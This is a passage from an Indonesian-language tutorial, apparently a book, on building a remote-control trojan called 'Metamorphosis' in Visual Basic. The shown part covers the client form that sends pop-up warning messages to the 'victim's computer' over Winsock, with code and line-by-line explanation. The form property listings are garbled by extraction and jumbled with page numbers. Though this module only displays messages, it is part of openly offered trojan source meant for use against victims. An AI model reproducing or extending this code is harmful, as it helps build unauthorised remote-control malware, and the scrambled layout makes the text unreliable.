Metamorphosis dibekali pula dengan kemampuan menampilkan sembarang pesan pada komputer korban. Di bagian ini, kita akan membuat suatu form yang kita beri nama frmMsg. Kegunaan form ini adalah modul untuk menampilkan pesan peringatan pada komputer korban. Isi pesan peringatan ini tentu saja bebas. Sesuaikan dengan kebutuhan (dan kegilaan Anda hehehe ).
107
108
ForeColor = Height = Left = TabIndex = Top = Width = OptionButton optCritical BackColor Caption ForeColor Height Left TabIndex Top Width
&H8000000E& 2340 240 4 3360 2055 = = = = = = = = &H80000012& "Error" &H8000000E& 285 840 7 1680 765 &H80000012& "Warning" &H8000000E& 285 840 6 1080 1005 &H80000012& "Information" &H8000000E& 285 810 5 480 -1 'True 1125 480 240 "frmMsg.frx":0000 1560 480 480 240 "frmMsg.frx":0585 960 480 480 225 "frmMsg.frx":0ADE 405 480 &H80000012& "Pesan yang akan dikirim " &H8000000E& 1245 240 0 1800 7575
OptionButton optExclamation BackColor = Caption = ForeColor = Height = Left = TabIndex = Top = Width = OptionButton optInfo BackColor Caption ForeColor Height Left TabIndex Top Value Width Image Image3 Height Left Picture Top Width Image Image2 Height Left Picture Top Width Image Image1 Height Left Picture Top Width Frame Frame1 BackColor Caption ForeColor Height Left TabIndex Top Width = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
109
CommandButton cmdBatal Caption Height Left TabIndex Top Width CommandButton cmdKirim Caption Height Left TabIndex Top Width TextBox txtMsg Height Left TabIndex Top Width Image Image4 Height Left Picture Top Width = = = = =
= = = = = = = = = = = = = = = = =
"Batal" 375 6240 3 720 1050 "Kirim" 375 5040 2 720 1050 285 135 1 270 7290 7155 0 "frmMsg.frx":0F79 0 9570
110
If Trim$(txtMsg.Text) = "" Then MsgBox "Pesan masih kosong !", vbExclamation, "Peringatan" Exit Sub End If If optInfo.Value = True Then OptType = "inf" If optExclamation.Value = True Then OptType = "exc" If optCritical.Value = True Then OptType = "cri" metaCli.metaClient.SendData KIRIM_PESAN & OptType & txtMsg.Text Unload Me End Sub
Private Sub txtMsg_KeyPress(KeyAscii As Integer) On Error Resume Next If KeyAscii = 13 Then Call cmdKirim_Click End Sub
Subrutin selesai.
Unload Me
Subrutin selesai.
Pesan tempat di memory untuk variabel OptType dengan jenis data string.
If Trim$(txtMsg.Text) = "" Then
Memanggil fungsi msgBox dan menampilkan peringatan bahwa pesan belum ditulis.
Exit Sub
Syarat selesai.
If optInfo.Value = True Then OptType = "inf"
Jika nilai optInfo sama dengan benar (True), masukkan nilai "inf" ke variabel OptType.
If optExclamation.Value = True Then OptType = "exc"
Jika nilai optExclamation sama dengan benar (True), masukkan nilai "exc" ke variabel OptType.
If optCritical.Value = True Then OptType = "cri"
Jika nilai optCritical sama dengan benar (True), masukkan nilai "cri" ke variabel OptType.
metaCli.metaClient.SendData KIRIM_PESAN & OptType & txtMsg.Text
Memanggil Winsock metaClient yang ada di form metaCli untuk mengirim data: KIRIM_PESAN plus isian OptType ditambah dengan isi pesan. 112
Unload Me
Subrutin berakhir.
Jika tombol Enter (alias ASCII 13) ditekan, panggil sub cmdKirim_Click.
End Sub
Subrutin selesai. Begitulah keterangan ringkas tentang modul pesan. Cukup singkat dan jelas, bukan?
***
113